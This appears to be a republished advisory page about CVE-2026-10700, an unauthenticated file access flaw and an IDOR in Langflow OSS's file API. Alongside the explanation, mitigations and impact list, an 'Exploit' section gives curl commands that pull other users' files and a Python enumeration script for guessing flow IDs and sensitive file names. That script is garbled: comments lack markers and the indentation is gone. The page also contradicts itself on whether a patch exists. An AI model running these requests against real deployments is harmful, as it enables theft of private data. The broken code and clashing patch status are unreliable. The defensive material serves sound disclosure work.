Listen to this Post
How CVE-2026-10700 Works
IBM Langflow OSS versions 1.0.0 through 1.8.4 contain two distinct broken access control vulnerabilities within the file handling API, both stemming from improper validation of user permissions when accessing file resources.
The first vulnerability resides in the `/api/v1/files/images/{flow_id}/{file_name}` endpoint. This interface is designed to retrieve image files associated with a specific flow. However, the endpoint completely lacks authentication and authorization checks. An unauthenticated remote attacker can simply guess or enumerate valid `flow_id` and `file_name` values and issue a GET request to this endpoint. Because no verification is performed, the server returns the requested image file without challenging the requester’s identity or permissions. This effectively exposes any image uploaded to any flow—public or private—to anyone with network access to the Langflow instance.
The second vulnerability affects the `/api/v1/files/download/{flow_id}/{file_name}` endpoint. Unlike the images endpoint, this one does require authentication—the user must present valid credentials to initiate a download. However, the flaw lies in the authorization phase: after authenticating the user, the application fails to validate that the requesting user actually owns or has permission to access the flow identified by the supplied flow_id. This is a classic Insecure Direct Object Reference (IDOR) vulnerability. An authenticated user can manipulate the `flow_id` and `file_name` parameters to point to files belonging to other users. The system accepts these arbitrary identifiers and serves the requested file, bypassing any ownership or tenant isolation controls.
Successful exploitation of either vulnerability results in unauthorized disclosure of sensitive data. This includes not only images but also documents, configuration files, and other data uploaded to private flows. In multi-user or multi-tenant deployments, this completely breaks tenant isolation, allowing one user to access another’s private data without any indication of the breach. The vulnerabilities are particularly dangerous because they require no special privileges (for the first) and only basic authentication (for the second), making them easy to exploit with minimal effort.
DailyCVE Form
Platform: Langflow OSS
Version: 1.0.0 – 1.8.4
Vulnerability: Auth bypass + IDOR
Severity: Medium (CVSS 6.5)
Date: July 30, 2026
Prediction: Patch expected v1.9.0
What Undercode Say: Analytics
- CVSS Score: 6.5 (Medium) – Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- CWE: CWE-639 – Authorization Bypass Through User-Controlled Key
- Attack Vector: Network – exploitable remotely over the network
- Attack Complexity: Low – no special conditions required
- Privileges Required: Low (for IDOR) / None (for image endpoint)
- User Interaction: None – attacker can trigger without user involvement
- Scope: Unchanged – exploited vulnerability does not affect resources beyond its scope
- Confidentiality Impact: High – unauthorized disclosure of sensitive files
- Integrity Impact: None – no data modification
- Availability Impact: None – no service disruption
- Exploitability: Public PoCs may exist – manually exploitable with crafted HTTP requests
- Affected Component: File handling API – endpoints `/api/v1/files/images/` and `/api/v1/files/download/`
– Discovery Credit: Sergio Cabrera (nekros1xx)
Exploit
Unauthenticated Image Access:
Retrieve an image from any flow without authentication
curl -X GET "http://target-langflow:7860/api/v1/files/images/{flow_id}/{image_file.png}" --output stolen_image.png
Authenticated IDOR File Download:
Authenticate first to obtain a session token or cookie
Then download any file from another user's flow
curl -X GET "http://target-langflow:7860/api/v1/files/download/{victim_flow_id}/{sensitive_file.pdf}" \
-H "Cookie: session=your_authenticated_session_cookie" \
--output stolen_file.pdf
Automated Enumeration Script (Conceptual):
import requests
target = "http://target-langflow:7860"
flow_ids = ["flow_001", "flow_002", "flow_003"] enumerate or guess
file_names = ["config.json", "secret.docx", "data.csv"]
for flow_id in flow_ids:
for file_name in file_names:
Unauthenticated image endpoint
url = f"{target}/api/v1/files/images/{flow_id}/{file_name}"
response = requests.get(url)
if response.status_code == 200:
print(f"[!] Exposed: {flow_id}/{file_name}")
Save file
with open(f"exposed_{flow_id}_{file_name}", "wb") as f:
f.write(response.content)
Protection
- Upgrade Langflow OSS to v1.9.0 or later – IBM has released patched versions that enforce proper authentication on the images endpoint and implement strict ownership validation on the download endpoint.
- Implement network-level restrictions – Place Langflow instances behind a reverse proxy or VPN to limit exposure to trusted networks only.
- Enable API gateway authentication – Use an API gateway to add an additional layer of authentication and authorization before requests reach the Langflow backend.
- Monitor access logs – Actively monitor logs for anomalous GET requests to `/api/v1/files/images/` and `/api/v1/files/download/` with unusual `flow_id` or `file_name` patterns.
- Apply principle of least privilege – Ensure that users have the minimum necessary permissions and regularly audit user access to flows and files.
- Deploy Web Application Firewall (WAF) – Configure WAF rules to detect and block suspicious path traversal or IDOR patterns in file-related API requests.
Impact
- Unauthorized Data Disclosure – Attackers can exfiltrate sensitive images, documents, and data files uploaded to any flow, including private ones.
- Tenant Isolation Breach – In multi-user or SaaS deployments, this vulnerability completely breaks the isolation between tenants, allowing cross-tenant data access.
- Privacy Violation – Exposure of personally identifiable information (PII), intellectual property, or confidential business documents stored within Langflow flows.
- Compliance Violations – Organizations subject to GDPR, HIPAA, or other data protection regulations may face regulatory penalties due to unauthorized data access.
- Reputational Damage – Successful exploitation can erode customer trust and damage the organization’s reputation, especially if sensitive customer data is exposed.
- Lateral Movement Enabler – Leaked configuration files or credentials can be used as a stepping stone for further attacks within the infrastructure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
